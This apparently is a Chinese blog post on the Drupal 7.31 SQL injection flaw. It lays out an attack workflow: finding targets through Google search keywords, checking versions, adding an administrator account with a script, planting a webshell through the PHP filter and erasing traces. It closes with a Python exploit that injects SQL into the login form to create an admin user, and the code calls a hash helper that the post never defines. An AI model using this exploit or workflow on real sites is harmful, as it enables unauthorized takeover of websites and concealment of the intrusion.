10月16日有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码,小编在本地搭建Drupal7.31的环境,经过测试,发现该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。
通过测试,我总结了一套完整的利用过程。
(1)利用google查找潜在的目标,关键字很多啦,比如:inurl:?q=node/等等;
(2)大概判断一下版本,一般就是查看changelog.txt文件。其实也可以不查看,直接暴力搞,这就稍微没点节操了,哈哈,开个玩笑;
(3)利用脚本添加登录用户,这个用户是在?q=user/login下登录,进入了Drupal后台;
以下的步骤就是利用Drupal后台上传webshell了,方法很多啦,这里介绍一种,记得搞完擦痕迹。
(1)开启php filter功能;
(2)设置php code编辑内容,保证超级管理员可以使用该模式,并且可以解析php代码;
(3)利用php code模式新增文章就可以啦。
就这么多了,不多说了,你懂的。。。
附上利用代码,下面的代码使用python写的,部分用户可能在运行时出错,这是因为缺少库文件,可以点击打开链接。
import urllib2,sys
if len(sys.argv) != 4:
print ""
print "python 7.xSQL.py [url]http://xxoo.com/drupal[/url] admin 123456"
print ""
sys.exit(1)
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)